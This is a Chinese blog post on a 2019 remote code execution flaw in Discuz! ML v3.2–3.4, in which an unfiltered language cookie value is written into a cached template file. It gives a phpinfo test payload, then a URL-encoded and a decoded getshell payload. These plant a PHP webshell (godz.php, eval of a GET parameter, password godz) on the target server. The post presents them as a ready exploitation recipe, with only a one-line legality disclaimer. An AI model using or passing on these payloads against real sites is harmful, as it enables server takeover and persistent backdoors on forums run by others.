Discuz Ml v3.x 前台Getshell姿势 Discuz漏洞
Discuz Ml v3.x 前台Getshell姿势
1.漏洞描述
Discuz!ML是一个由CodersClub.org创建的多语言,集成,功能齐全的开源网络平台,用于构建像“社交网络”这样的互联网社区。
2019年7月11日, Discuz!ML被发现存在一处远程代码执行漏洞,攻击者通过在请求流量的cookie字段中的language参数处插入构造的payload,进行远程代码执行利用,该漏洞利用方式简单,危害性较大。
2.原理
由于Discuz! ML对于cookie字段的不恰当处理造成的
cookie字段中的language参数未经过滤,直接被拼接写入缓存文件之中,
而缓存文件随后又被加载,从而造成代码执行
3.影响版本
Discuz! ML v.3.4
Discuz! ML v.3.3
Discuz! ML v.3.2
4.利用过程
简而言之,通过cookie传入payload,构造好的payload被写入template文件中:
注意这是国际版的,不是国内的那种,一般要有语言选择的才行,大部分都是国外的论坛
类似于有这种的
问题出在
1 | XXXX_language= |
测试PAYLOAD
1 | XXXX_language='.phpinfo().'; |
XXX自己改一下
GO一下看结果
4.getshell POC
1 | %27.+file_put_contents%28%27godz.php%27%2Curldecode%28%27%253c%253fphp+%2520eval%28%2524_%2547%2545%2554%255b%2522godz%2522%255d%29%253b%253f%253e%27%29%29.%27 |
原始的payload
1 | '.+file_put_contents('godz.php',urldecode('<?php eval($_GET["godz"]);?>')).' |
访问网站生成木马文件,godz.php 密码为godz
验证木马
请勿用于非法用途
All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.